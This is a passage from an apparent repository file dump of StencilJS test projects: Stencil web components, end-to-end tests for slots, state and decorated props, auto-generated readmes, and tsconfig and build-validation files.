    "content": "import { Component, Element, Host, h, forceUpdate } from '@stencil/core';\n\n@Component({\n  tag: 'slot-cmp-container',\n  styles: ':host { display: block; margin: 5em; }',\n  shadow: true,\n})\nexport class PropCmp {\n  @Element() host: HTMLPropCmpElement;\n\n  componentDidLoad() {\n    setTimeout(() => forceUpdate(this.host), 1);\n  }\n\n  render() {\n    return (\n      <Host>\n        <slot-cmp>\n          <slot-parent-cmp label=\"One\" />\n        </slot-cmp>\n\n        <slot-cmp>\n          <slot-parent-cmp label=\"Two\" />\n        </slot-cmp>\n\n        <slot-cmp>\n          <slot-parent-cmp label=\"Three\" />\n        </slot-cmp>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/slot-parent-cmp/readme.md",
    "content": "# slot-parent-cmp\n\n\n\n<!-- Auto Generated Below -->\n\n\n## Properties\n\n| Property | Attribute | Description | Type     | Default     |\n| -------- | --------- | ----------- | -------- | ----------- |\n| `label`  | `label`   |             | `string` | `undefined` |\n\n\n## Dependencies\n\n### Used by\n\n - [slot-cmp-container](../slot-cmp-container)\n\n### Depends on\n\n- [slot-cmp](../slot-cmp)\n\n### Graph\n```mermaid\ngraph TD;\n  slot-parent-cmp --> slot-cmp\n  slot-cmp-container --> slot-parent-cmp\n  style slot-parent-cmp fill:#f9f,stroke:#333,stroke-width:4px\n```\n\n----------------------------------------------\n\n*Built with [StencilJS](https://stenciljs.com/)*\n"
  },
  {
    "path": "test/end-to-end/src/slot-parent-cmp/slot-parent-cmp.tsx",
    "content": "import { Component, Host, Prop, h } from '@stencil/core';\n\n@Component({\n  tag: 'slot-parent-cmp',\n})\nexport class SlotParentCmp {\n  @Prop() label: string;\n\n  render() {\n    return (\n      <Host>\n        {this.label}\n        <slot-cmp>\n          <slot />\n        </slot-cmp>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/ssr-runtime-decorators/readme.md",
    "content": "# runtime-decorators\n\n\n\n<!-- Auto Generated Below -->\n\n\n## Properties\n\n| Property                    | Attribute                      | Description | Type     | Default       |\n| --------------------------- | ------------------------------ | ----------- | -------- | ------------- |\n| `basicProp`                 | `basic-prop`                   |             | `string` | `'basicProp'` |\n| `decoratedGetterSetterProp` | `decorated-getter-setter-prop` |             | `number` | `undefined`   |\n| `decoratedProp`             | `decorated-prop`               |             | `number` | `-10`         |\n\n\n----------------------------------------------\n\n*Built with [StencilJS](https://stenciljs.com/)*\n"
  },
  {
    "path": "test/end-to-end/src/ssr-runtime-decorators/ssr-runtime-decorators.e2e.ts",
    "content": "import { E2EPage, newE2EPage } from '@stencil/core/testing';\n\n// @ts-ignore may not be existing when project hasn't been built\ntype HydrateModule = typeof import('../../hydrate');\nlet renderToString: HydrateModule['renderToString'];\n\ndescribe('different types of decorated properties and states render on both server and client', () => {\n  let page: E2EPage;\n  let html: string;\n\n  async function txt(className: string) {\n    const ele = await page.find('.' + className);\n    return ele.textContent;\n  }\n  function htmlTxt(className: string) {\n    const match = html.match(new RegExp(`<div class=\"${className}\".*?>(.*?)</div>`, 'g'));\n    if (match && match[0]) {\n      const textMatch = match[0].match(new RegExp(`<div class=\"${className}\".*?>(.*?)</div>`));\n      return textMatch ? textMatch[1].replace(/<!--.*?-->/g, '').trim() : null;\n    }\n    return null;\n  }\n\n  beforeAll(async () => {\n    // @ts-ignore may not be existing when project hasn't been built\n    const mod = await import('../../hydrate');\n    renderToString = mod.renderToString;\n  });\n\n  it('renders default values', async () => {\n    const doc = await renderToString('<runtime-decorators></runtime-decorators>');\n    html = doc.html;\n\n    expect(htmlTxt('basicProp')).toBe('basicProp');\n    expect(htmlTxt('decoratedProp')).toBe('-5');\n    expect(htmlTxt('decoratedGetterSetterProp')).toBe('999');\n    expect(htmlTxt('basicState')).toBe('basicState');\n    expect(htmlTxt('decoratedState')).toBe('10');\n\n    page = await newE2EPage({ html, url: 'https://stencil.com' });\n\n    expect(await txt('basicProp')).toBe('basicProp');\n    expect(await txt('decoratedProp')).toBe('-5');\n    expect(await txt('decoratedGetterSetterProp')).toBe('999');\n    expect(await txt('basicState')).toBe('basicState');\n    expect(await txt('decoratedState')).toBe('10');\n  });\n\n  it('renders values via attributes', async () => {\n    const doc = await renderToString(`\n      <runtime-decorators \n        decorated-prop=\"200\"\n        decorated-getter-setter-prop=\"-5\"\n        basic-prop=\"basicProp via attribute\"\n        basic-state=\"basicState via attribute\"\n        decorated-state=\"decoratedState via attribute\"\n      ></runtime-decorators>\n    `);\n    html = doc.html;\n\n    expect(htmlTxt('basicProp')).toBe('basicProp via attribute');\n    expect(htmlTxt('decoratedProp')).toBe('25');\n    expect(htmlTxt('decoratedGetterSetterProp')).toBe('0');\n    expect(htmlTxt('basicState')).toBe('basicState');\n    expect(htmlTxt('decoratedState')).toBe('10');\n\n    page = await newE2EPage({ html, url: 'https://stencil.com' });\n\n    expect(await txt('basicProp')).toBe('basicProp via attribute');\n    expect(await txt('decoratedProp')).toBe('25');\n    expect(await txt('decoratedGetterSetterProp')).toBe('0');\n    expect(await txt('basicState')).toBe('basicState');\n    expect(await txt('decoratedState')).toBe('10');\n  });\n\n  it('renders values via properties', async () => {\n    const doc = await renderToString(\n      `\n      <runtime-decorators></runtime-decorators>\n    `,\n      {\n        beforeHydrate: (doc: Document) => {\n          const el = doc.querySelector('runtime-decorators');\n          el.basicProp = 'basicProp via prop';\n          el.decoratedProp = 200;\n          el.decoratedGetterSetterProp = -5;\n          // @ts-ignore\n          el.basicState = 'basicState via prop';\n          // @ts-ignore\n          el.decoratedState = 'decoratedState via prop';\n        },\n      },\n    );\n    html = doc.html;\n\n    expect(htmlTxt('basicProp')).toBe('basicProp via prop');\n    expect(htmlTxt('decoratedProp')).toBe('25');\n    expect(htmlTxt('decoratedGetterSetterProp')).toBe('0');\n    expect(htmlTxt('basicState')).toBe('basicState');\n    expect(htmlTxt('decoratedState')).toBe('10');\n\n    page = await newE2EPage({ html, url: 'https://stencil.com' });\n\n    expect(await txt('basicProp')).toBe('basicProp via prop');\n    expect(await txt('decoratedProp')).toBe('25');\n    expect(await txt('decoratedGetterSetterProp')).toBe('0');\n    expect(await txt('basicState')).toBe('basicState');\n    expect(await txt('decoratedState')).toBe('10');\n  });\n\n  it('renders different values on different component instances', async () => {\n    const doc = await renderToString(`\n      <runtime-decorators></runtime-decorators>\n      <runtime-decorators \n        decorated-prop=\"200\"\n        decorated-getter-setter-prop=\"-5\"\n        basic-prop=\"basicProp via attribute\"\n        basic-state=\"basicState via attribute\"\n        decorated-state=\"decoratedState via attribute\"\n      ></runtime-decorators>\n    `);\n    html = doc.html;\n\n    // first component should have default values\n\n    expect(htmlTxt('basicProp')).toBe('basicProp');\n    expect(htmlTxt('decoratedProp')).toBe('-5');\n    expect(htmlTxt('decoratedGetterSetterProp')).toBe('999');\n    expect(htmlTxt('basicState')).toBe('basicState');\n    expect(htmlTxt('decoratedState')).toBe('10');\n\n    page = await newE2EPage({ html, url: 'https://stencil.com' });\n\n    expect(await txt('basicProp')).toBe('basicProp');\n    expect(await txt('decoratedProp')).toBe('-5');\n    expect(await txt('decoratedGetterSetterProp')).toBe('999');\n    expect(await txt('basicState')).toBe('basicState');\n    expect(await txt('decoratedState')).toBe('10');\n  });\n});\n"
  },
  {
    "path": "test/end-to-end/src/ssr-runtime-decorators/ssr-runtime-decorators.tsx",
    "content": "import { Component, Element, h, Prop, State } from '@stencil/core';\n\nfunction Clamp(lowerBound: number, upperBound: number, descriptor?: PropertyDescriptor): any {\n  const clamp = (value: number) => Math.max(lowerBound, Math.min(value, upperBound));\n\n  return <T,>(target: T, propertyKey: string) => {\n    descriptor = descriptor || Object.getOwnPropertyDescriptor(target, propertyKey);\n    // preserve any existing getter/setter\n    const ogGet = descriptor === null || descriptor === void 0 ? void 0 : descriptor.get;\n    const ogSet = descriptor === null || descriptor === void 0 ? void 0 : descriptor.set;\n    const key = Symbol() as keyof T;\n\n    return {\n      get(): number {\n        if (ogGet) return clamp(ogGet.call(this));\n        return clamp((this as unknown as T)[key] as number);\n      },\n      set(newValue: number) {\n        if (ogSet) ogSet.call(this, newValue);\n        ((this as unknown as T)[key] as number) = newValue;\n      },\n      configurable: true,\n      enumerable: true,\n    };\n  };\n}\n\n@Component({\n  tag: 'runtime-decorators',\n})\nexport class RunTimeDecorators {\n  @Element() el: HTMLElement;\n\n  @Prop({ reflect: true }) basicProp: string = 'basicProp';\n\n  @Clamp(-5, 25)\n  @Prop({ reflect: true })\n  decoratedProp: number = -10;\n\n  private _decoratedGetterSetterProp: number = 1000;\n  @Clamp(0, 999)\n  @Prop({ reflect: true })\n  get decoratedGetterSetterProp() {\n    return this._decoratedGetterSetterProp || 0;\n  }\n  set decoratedGetterSetterProp(value: number) {\n    this._decoratedGetterSetterProp = value;\n  }\n\n  @State() basicState: string = 'basicState';\n\n  @Clamp(0, 10)\n  @State()\n  decoratedState: number = 11;\n\n  render() {\n    return (\n      <div>\n        <div class=\"basicProp\">{this.basicProp}</div>\n        <div class=\"decoratedProp\">{this.decoratedProp}</div>\n        <div class=\"decoratedGetterSetterProp\">{this.decoratedGetterSetterProp}</div>\n        <div class=\"basicState\">{this.basicState}</div>\n\n        <button\n          onClick={() => {\n            this.basicState += ' changed ';\n          }}\n        >\n          Change basicState\n        </button>\n\n        <div class=\"decoratedState\">{this.decoratedState}</div>\n        <button\n          onClick={() => {\n            this.decoratedState -= 100;\n          }}\n        >\n          Change decoratedState\n        </button>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/state-cmp/readme.md",
    "content": "# state-cmp\n\n\n\n<!-- Auto Generated Below -->\n\n\n----------------------------------------------\n\n*Built with [StencilJS](https://stenciljs.com/)*\n"
  },
  {
    "path": "test/end-to-end/src/state-cmp/state-cmp.e2e.ts",
    "content": "import { newE2EPage } from '@stencil/core/testing';\n\ndescribe('@State', () => {\n  it('should render all weekdays', async () => {\n    const page = await newE2EPage({\n      html: `\n      <state-cmp></state-cmp>\n    `,\n    });\n\n    const label = await page.find('state-cmp >>> label');\n    expect(label).toEqualHtml('<label>What is your favorite day?</label>');\n\n    const buttons = await page.findAll('state-cmp >>> button');\n    expect(buttons).toHaveLength(7);\n    expect(buttons[0]).toEqualText('Sunday');\n    expect(buttons[1]).toEqualText('Monday');\n    expect(buttons[2]).toEqualText('Tuesday');\n    expect(buttons[3]).toEqualText('Wednesday');\n    expect(buttons[4]).toEqualText('Thursday');\n    expect(buttons[5]).toEqualText('Friday');\n    expect(buttons[6]).toEqualText('Saturday');\n    expect(buttons[6]).not.toEqualText('Sunday');\n  });\n\n  it('should select a day and check computed styles', async () => {\n    const page = await newE2EPage({\n      html: `\n      <state-cmp></state-cmp>\n    `,\n    });\n\n    const buttons = await page.findAll('state-cmp >>> button');\n    await buttons[6].click();\n\n    expect(buttons[6]).toHaveClass('selected');\n\n    const selectedStyle = await buttons[6].getComputedStyle();\n    expect(selectedStyle.fontWeight).toBe('700');\n    expect(selectedStyle.getPropertyValue('font-weight')).toBe('700');\n    expect(selectedStyle.color).toBe('rgb(0, 0, 255)');\n    expect(selectedStyle.getPropertyValue('color')).toBe('rgb(0, 0, 255)');\n\n    expect(buttons[1]).not.toHaveClass('selected');\n\n    const unselectedStyle = await buttons[1].getComputedStyle();\n    expect(unselectedStyle.fontWeight).not.toBe('700');\n    expect(unselectedStyle.color).toBe('rgb(0, 0, 0)');\n  });\n});\n"
  },
  {
    "path": "test/end-to-end/src/state-cmp/state-cmp.tsx",
    "content": "import { Component, State, h } from '@stencil/core';\n\n@Component({\n  tag: 'state-cmp',\n  styles: `\n    button {\n      color: black;\n    }\n    .selected {\n      font-weight: bold;\n      color: blue;\n    }\n  `,\n  shadow: true,\n})\nexport class StateCmp {\n  @State() selected: string;\n\n  days: string[] = ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'];\n\n  dayClicked(day: string) {\n    this.selected = day;\n  }\n\n  render() {\n    return (\n      <section>\n        <label>What is your favorite day?</label>\n        <div>\n          {this.days.map((day) => (\n            <button class={day === this.selected ? 'selected' : ''} onClick={() => this.dayClicked(day)} key={day}>\n              {day}\n            </button>\n          ))}\n        </div>\n      </section>\n    );\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/stencil.build.config.ts",
    "content": "import { config as baseConfig } from './stencil.config';\n\n/**\n * We are using a slightly different tsconfig to build the end-to-end tests\n * as we are doing type assertions on the hydrate module which is not available\n * when the project hasn't been built.\n */\nbaseConfig.tsconfig = './tsconfig.build.json';\nexport const config = baseConfig;\n"
  },
  {
    "path": "test/end-to-end/stencil.config.ts",
    "content": "import { reactOutputTarget } from '@stencil/react-output-target';\nimport linaria from 'linaria/rollup';\nimport path from 'path';\nimport css from 'rollup-plugin-css-only';\nimport builtins from 'rollup-plugin-node-builtins';\n\nimport { Config } from '../../internal';\n\nexport const config: Config = {\n  namespace: 'EndToEnd',\n  globalScript: './src/global.ts',\n  globalStyle: './src/global.css',\n  plugins: [builtins()],\n  rollupPlugins: {\n    after: [\n      linaria(),\n      css({\n        output: path.join(__dirname, 'www', 'linaria.css'),\n      }),\n    ],\n  },\n\n  testing: {\n    moduleNameMapper: {\n      'lodash-es': 'lodash',\n    },\n  },\n  outputTargets: [\n    {\n      type: 'www',\n      serviceWorker: null,\n    },\n    {\n      type: 'dist',\n    },\n    {\n      type: 'dist-hydrate-script',\n    },\n    {\n      type: 'docs-json',\n      file: 'docs.json',\n    },\n    {\n      type: 'docs-custom-elements-manifest',\n      file: 'custom-elements-manifest.json',\n    },\n    reactOutputTarget({\n      componentCorePackage: '@stencil/e2e-react-output-target',\n      proxiesFile: './dist-react/components.ts',\n    }),\n  ],\n  hydratedFlag: {\n    name: 'custom-hydrate-flag',\n    selector: 'attribute',\n    property: 'opacity',\n    initialValue: '0',\n    hydratedValue: '1',\n  },\n  env: {\n    foo: 'bar',\n    HOST: 'example.com',\n  },\n  hashFileNames: false,\n  buildEs5: 'prod',\n  sourceMap: true,\n  extras: {\n    experimentalSlotFixes: true,\n  },\n};\n"
  },
  {
    "path": "test/end-to-end/test-end-to-end-dist.js",
    "content": "const fs = require('fs');\nconst path = require('path');\n\nconst distDir = path.join(__dirname, 'dist');\nfs.accessSync(path.join(distDir, 'cjs'));\nfs.accessSync(path.join(distDir, 'endtoend'));\nfs.accessSync(path.join(distDir, 'esm'));\nfs.accessSync(path.join(distDir, 'loader'));\nfs.accessSync(path.join(distDir, 'index.cjs.js'));\nfs.accessSync(path.join(distDir, 'index.js'));\n\nconst collectionDir = path.join(distDir, 'collection');\nfs.accessSync(path.join(collectionDir, 'car-list', 'car-data.js'));\nfs.accessSync(path.join(collectionDir, 'car-list', 'car-data.js.map'));\nfs.accessSync(path.join(collectionDir, 'car-list', 'car-list.css'));\nfs.accessSync(path.join(collectionDir, 'car-list', 'car-list.js'));\nfs.accessSync(path.join(collectionDir, 'car-list', 'car-list.js.map'));\nfs.accessSync(path.join(collectionDir, 'prop-cmp', 'prop-cmp.ios.css'));\nfs.accessSync(path.join(collectionDir, 'prop-cmp', 'prop-cmp.md.css'));\nfs.accessSync(path.join(collectionDir, 'global.js'));\nJSON.parse(fs.readFileSync(path.join(collectionDir, 'collection-manifest.json'), 'utf8'));\n\nconst typesDir = path.join(distDir, 'types');\nfs.accessSync(path.join(typesDir, 'components.d.ts'));\nfs.accessSync(path.join(typesDir, 'stencil-public-runtime.d.ts'));\nfs.accessSync(path.join(typesDir, 'app-root', 'app-root.d.ts'));\nfs.accessSync(path.join(typesDir, 'app-root', 'interfaces.d.ts'));\nfs.accessSync(path.join(typesDir, 'car-list', 'car-data.d.ts'));\nfs.accessSync(path.join(typesDir, 'car-list', 'car-list.d.ts'));\n\nconst wwwDir = path.join(__dirname, 'www');\nfs.accessSync(path.join(wwwDir, 'build', 'endtoend.js'));\nfs.accessSync(path.join(wwwDir, 'build', 'endtoend.esm.js'));\nfs.accessSync(path.join(wwwDir, 'build', 'endtoend.esm.js.map'));\nfs.accessSync(path.join(wwwDir, 'build', 'endtoend.css'));\nfs.accessSync(path.join(wwwDir, 'build', 'assets-a/file-1.txt'));\nfs.accessSync(path.join(wwwDir, 'build', 'assets-a/file-2.txt'));\nfs.accessSync(path.join(wwwDir, 'build', 'assets-b/file-3.txt'));\nfs.accessSync(path.join(wwwDir, 'index.html'));\n\nfs.accessSync(path.join(__dirname, 'dist-react', 'components.ts'));\n\nfs.accessSync(path.join(__dirname, 'docs.json'));\nfs.accessSync(path.join(__dirname, 'docs.d.ts'));\n\nfs.accessSync(path.join(__dirname, 'custom-elements-manifest.json'));\n\nconsole.log('🍄  validated test/end-to-end/dist files\\n');\n"
  },
  {
    "path": "test/end-to-end/test-end-to-end-hydrate.js",
    "content": "const whyIsNodeRunning = require('why-is-node-running');\nconst hydrate = require('./hydrate');\nconst mockDoc = require('../../mock-doc');\n\nasync function main() {\n  const html = `\n    <html>\n    <head><title>End To End</title></head>\n    <body>\n      <prerender-cmp></prerender-cmp>\n      <slot-cmp>Hello World</slot-cmp>\n    </body>\n    </html>\n  `;\n  const opts = {\n    prettyHtml: true,\n  };\n  const results = await hydrate.renderToString(html, opts);\n\n  console.log(results);\n\n  if (results.diagnostics.length > 0) {\n    results.diagnostics.forEach((d) => {\n      console.error(`🧨  ${d.header}`);\n      console.error(`🧨  ${d.messageText}`);\n    });\n    throw new Error(`validated test/end-to-end/hydrate errors!!`);\n  }\n\n  if (results.hydratedCount !== 2) {\n    throw new Error(`invalid hydratedCount: ${results.hydratedCount}`);\n  }\n  if (\n    results.components.length !== 2 ||\n    results.components[0].tag !== 'prerender-cmp' ||\n    results.components[1].tag !== 'slot-cmp'\n  ) {\n    throw new Error(`invalid components: ${results.components}`);\n  }\n  if (results.httpStatus !== 200) {\n    throw new Error(`invalid httpStatus: ${results.httpStatus}`);\n  }\n  if (results.anchors.length !== 1 || results.anchors[0].href !== `https://hydrate.stenciljs.com/some-link`) {\n    throw new Error(`invalid anchors: ${results.anchors}`);\n  }\n  if (results.url !== `https://hydrate.stenciljs.com/`) {\n    throw new Error(`invalid url: ${results.url}`);\n  }\n  if (results.title !== `End To End`) {\n    throw new Error(`invalid title`);\n  }\n  if (typeof results.html !== `string`) {\n    throw new Error(`missing html`);\n  }\n\n  const doc = mockDoc.createDocument(results.html);\n  if (doc.title !== 'End To End') {\n    throw new Error(`invalid doc.title: ${doc.title}`);\n  }\n  if (!doc.documentElement.classList.contains('hydrated')) {\n    throw new Error(`missing html hydrated`);\n  }\n  const cmp = doc.querySelector('prerender-cmp');\n  if (!cmp) {\n    throw new Error(`missing prerender-cmp`);\n  }\n\n  clearTimeout(tmr);\n\n  console.log('🛁  validated test/end-to-end/hydrate\\n');\n}\n\nconst tmr = setTimeout(() => {\n  console.error(`validated test/end-to-end/hydrate timeout!`);\n  process.exit(1);\n}, 10000);\n\nmain()\n  .then(() => {\n    whyIsNodeRunning();\n  })\n  .catch((e) => {\n    clearTimeout(tmr);\n    console.error('🧨 ' + e + ' 🧨');\n    process.exit(1);\n  });\n"
  },
  {
    "path": "test/end-to-end/tsconfig.build.json",
    "content": "{\n  \"extends\": \"./tsconfig.json\",\n  /**\n    * Exclude the test where we do type assertions using the hydrate module\n    * which doesn't exist at build time.\n    */\n  \"exclude\": [\"src/declarative-shadow-dom/test.e2e.ts\"]\n}\n"
  },
  {
    "path": "test/end-to-end/tsconfig.json",
    "content": "// hey! comments in my tsconfig!!\n{\n  \"compilerOptions\": {\n    \"alwaysStrict\": true,\n    \"allowSyntheticDefaultImports\": true,\n    \"allowUnreachableCode\": false,\n    \"declaration\": true,\n    \"experimentalDecorators\": true,\n    \"forceConsistentCasingInFileNames\": true,\n    \"jsx\": \"react\",\n    \"jsxFactory\": \"h\",\n    \"jsxFragmentFactory\": \"Fragment\",\n    \"lib\": [\n      \"dom\",\n      \"es2021\"\n    ],\n    \"module\": \"esnext\",\n    \"moduleResolution\": \"node\",\n    \"noImplicitAny\": true,\n    \"noImplicitReturns\": true,\n    \"noUnusedLocals\": true,\n    \"noUnusedParameters\": true,\n    \"pretty\": true,\n    \"target\": \"es2017\",\n    \"useUnknownInCatchVariables\": true,\n    \"baseUrl\": \".\",\n    \"paths\": {\n      \"@stencil/core\": [\n        \"../../internal\"\n      ],\n      \"@stencil/core/mock-doc\": [\n        \"../../mock-doc\"\n      ],\n      \"@stencil/core/internal\": [\n        \"../../internal\"\n      ],\n      \"@stencil/core/testing\": [\n        \"../../testing\"\n      ],\n      \"@path-alias\": [\n        \"./src/path-alias-cmp/path-alias-lib\"\n      ]\n    }\n  },\n  \"include\": [\n    \"src\"\n  ]\n}\n"
  },
  {
    "path": "test/hello-vdom/.npmrc",
    "content": "package-lock=false"
  },
  {
    "path": "test/hello-vdom/package.json",
    "content": "{\n  \"name\": \"@stencil/hello-vdom\",\n  \"private\": true,\n  \"main\": \"./dist/index.cjs.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/types/index.d.ts\",\n  \"collection\": \"./dist/collection/collection-manifest.json\",\n  \"scripts\": {\n    \"build\": \"node ../../bin/stencil build\",\n    \"start\": \"node ../../bin/stencil build --dev --watch --serve --debug\",\n    \"start.prod\": \"node ../../bin/stencil build --watch --serve\"\n  }\n}"
  },
  {
    "path": "test/hello-vdom/src/components/hello-vdom.tsx",
    "content": "import { Component, h } from '@stencil/core';\nimport styles from './styles.css';\n\n@Component({\n  tag: 'hello-vdom',\n  styles,\n})\nexport class HelloWorld {\n  render() {\n    return <h1>Hello VDom!</h1>;\n  }\n}\n"
  },
  {
    "path": "test/hello-vdom/src/components/index.ts",
    "content": "export { HelloWorld } from './hello-vdom';\n"
  },
  {
    "path": "test/hello-vdom/src/components/styles.css",
    "content": "h1 {\n  color: blue;\n}\n"
  },
  {
    "path": "test/hello-vdom/src/components.d.ts",
    "content": "/* eslint-disable */\n/* tslint:disable */\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * It contains typing information for all components that exist in this project.\n */\nimport { HTMLStencilElement, JSXBase } from \"@stencil/core/internal\";\nexport namespace Components {\n    interface HelloVdom {\n    }\n}\ndeclare global {\n    interface HTMLHelloVdomElement extends Components.HelloVdom, HTMLStencilElement {\n    }\n    var HTMLHelloVdomElement: {\n        prototype: HTMLHelloVdomElement;\n        new (): HTMLHelloVdomElement;\n    };\n    interface HTMLElementTagNameMap {\n        \"hello-vdom\": HTMLHelloVdomElement;\n    }\n}\ndeclare namespace LocalJSX {\n    interface HelloVdom {\n    }\n    interface IntrinsicElements {\n        \"hello-vdom\": HelloVdom;\n    }\n}\nexport { LocalJSX as JSX };\ndeclare module \"@stencil/core\" {\n    export namespace JSX {\n        interface IntrinsicElements {\n            \"hello-vdom\": LocalJSX.IntrinsicElements[\"hello-vdom\"] & JSXBase.HTMLAttributes<HTMLHelloVdomElement>;\n        }\n    }\n}\n"
  },
  {
    "path": "test/hello-vdom/src/index.html",
    "content": "<!DOCTYPE html>\n<meta charset=\"UTF-8\" />\n\n<script type=\"module\" src=\"build/hellovdom.esm.js\"></script>\n<script nomodule src=\"build/hellovdom.js\"></script>\n\n<hello-vdom></hello-vdom>\n"
  },
  {
    "path": "test/hello-vdom/src/index.ts",
    "content": "export { Components, JSX } from './components';\n"
  },
  {
    "path": "test/hello-vdom/stencil.config.ts",
    "content": "import { Config } from '../../internal';\n\nexport const config: Config = {\n  namespace: 'HelloVDom',\n  outputTargets: [{ type: 'dist' }, { type: 'www', serviceWorker: null }],\n  devServer: {\n    logRequests: true,\n  },\n  hashFileNames: false,\n  hydratedFlag: null,\n  taskQueue: 'immediate',\n};\n"
  },
  {
    "path": "test/hello-vdom/tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"alwaysStrict\": true,\n    \"allowSyntheticDefaultImports\": true,\n    \"allowUnreachableCode\": false,\n    \"declaration\": true,\n    \"experimentalDecorators\": true,\n    \"forceConsistentCasingInFileNames\": true,\n    \"jsx\": \"react\",\n    \"jsxFactory\": \"h\",\n    \"lib\": [\n      \"dom\",\n      \"es2017\"\n    ],\n    \"module\": \"esnext\",\n    \"moduleResolution\": \"node\",\n    \"noImplicitAny\": true,\n    \"noImplicitReturns\": true,\n    \"noUnusedLocals\": true,\n    \"noUnusedParameters\": true,\n    \"target\": \"es2017\",\n    \"useUnknownInCatchVariables\": true,\n    \"baseUrl\": \".\",\n    \"paths\": {\n      \"@stencil/core\": [\"../../internal\"],\n      \"@stencil/core/internal\": [\"../../internal\"],\n      \"@stencil/core/testing\": [\"../../testing\"]\n    }\n  },\n  \"include\": [\n    \"src\"\n  ]\n}\n"
  },
  {
    "path": "test/hello-world/package.json",
    "content": "{\n  \"name\": \"@stencil/hello-world\",\n  \"private\": true,\n  \"files\": [\n    \"dist/\"\n  ],\n  \"scripts\": {\n    \"build\": \"node ../../bin/stencil build --prerender\",\n    \"start\": \"node ../../bin/stencil build --dev --watch --serve\",\n    \"start.prod\": \"node ../../bin/stencil build --watch --serve\"\n  },\n  \"main\": \"dist/index.cjs.js\",\n  \"module\": \"dist/index.js\",\n  \"types\": \"dist/types/components.d.ts\",\n  \"collection\": \"dist/collection/collection-manifest.json\",\n  \"volta\": {\n    \"extends\": \"../../package.json\"\n  }\n}\n"
  },
  {
    "path": "test/hello-world/prerender.config.js",
    "content": "module.exports = {\n  beforeHydrate(doc, url) {\n    doc.documentElement.setAttribute('dir', 'ltr');\n  },\n\n  afterHydrate(doc, url) {\n    doc.title = `Url: ${url.href}`;\n  },\n\n  filterUrl() {\n    return true;\n  },\n\n  hydrateOptions() {\n    const hydrate = {\n      prettyHtml: true,\n    };\n    return hydrate;\n  },\n};\n"
  },
  {
    "path": "test/hello-world/prerender.js",
    "content": "const fs = require('fs');\nconst path = require('path');\nconst hydrate = require('./hydrate');\n\nasync function run() {\n  const html = `\n    <html>\n      <hello-world></hello-world>\n    </html>\n  `;\n\n  const results = await hydrate.renderToString(html, {\n    prettyHtml: true,\n    title: 'Hello World',\n  });\n\n  const filePath = path.join(__dirname, 'www', 'index.html');\n  fs.writeFileSync(filePath, results.html);\n\n  console.log(results.html);\n\n  results.diagnostics.forEach((d) => {\n    console.log(d.level, d.header, d.messageText);\n  });\n}\nrun();\n"
  },
  {
    "path": "test/hello-world/src/components/hello-world.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'hello-world',\n})\nexport class HelloWorld {\n  render() {\n    return <div>Hello World</div>;\n  }\n}\n"
  },
  {
    "path": "test/hello-world/src/components.d.ts",
    "content": "/* eslint-disable */\n/* tslint:disable */\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * It contains typing information for all components that exist in this project.\n */\nimport { HTMLStencilElement, JSXBase } from \"@stencil/core/internal\";\nexport namespace Components {\n    interface HelloWorld {\n    }\n}\ndeclare global {\n    interface HTMLHelloWorldElement extends Components.HelloWorld, HTMLStencilElement {\n    }\n    var HTMLHelloWorldElement: {\n        prototype: HTMLHelloWorldElement;\n        new (): HTMLHelloWorldElement;\n    };\n    interface HTMLElementTagNameMap {\n        \"hello-world\": HTMLHelloWorldElement;\n    }\n}\ndeclare namespace LocalJSX {\n    interface HelloWorld {\n    }\n    interface IntrinsicElements {\n        \"hello-world\": HelloWorld;\n    }\n}\nexport { LocalJSX as JSX };\ndeclare module \"@stencil/core\" {\n    export namespace JSX {\n        interface IntrinsicElements {\n            \"hello-world\": LocalJSX.IntrinsicElements[\"hello-world\"] & JSXBase.HTMLAttributes<HTMLHelloWorldElement>;\n        }\n    }\n}\n"
  },
  {
    "path": "test/hello-world/src/hello-world-text.ts",
    "content": "export const HelloWorldText = 'Hello World';\n"
  },
  {
    "path": "test/hello-world/src/index-module.html",
    "content": "\n<script type=\"module\">\n  import { HelloWorld } from './web-components.js';\n  customElements.define(HelloWorld.is, HelloWorld);\n</script>\n\n<hello-world></hello-world>\n"
  },
  {
    "path": "test/hello-world/src/index.html",
    "content": "<!DOCTYPE html>\n<meta charset=\"UTF-8\">\n\n<head>\n  <script type=\"module\" src=\"/build/helloworld.esm.js\"></script>\n  <script nomodule src=\"/build/helloworld.js\"></script>\n</head>\n\n<body>\n  <hello-world></hello-world>\n</body>\n"
  },
  {
    "path": "test/hello-world/stencil.config.ts",
    "content": "import { Config } from '../../internal';\n\nexport const config: Config = {\n  namespace: 'HelloWorld',\n  outputTargets: [\n    { type: 'dist' },\n    { type: 'dist-hydrate-script' },\n    {\n      type: 'www',\n      serviceWorker: null,\n      baseUrl: 'https://helloworld.stencil.js.com/',\n    },\n  ],\n  enableCache: false,\n  hydratedFlag: null,\n  hashFileNames: false,\n  extras: {\n    scriptDataOpts: false,\n  },\n};\n"
  },
  {
    "path": "test/hello-world/tsconfig.json",
    "content": "{\n  \"extends\": \"./tsconfig.parent.json\"\n}\n"
  },
  {
    "path": "test/hello-world/tsconfig.parent.json",
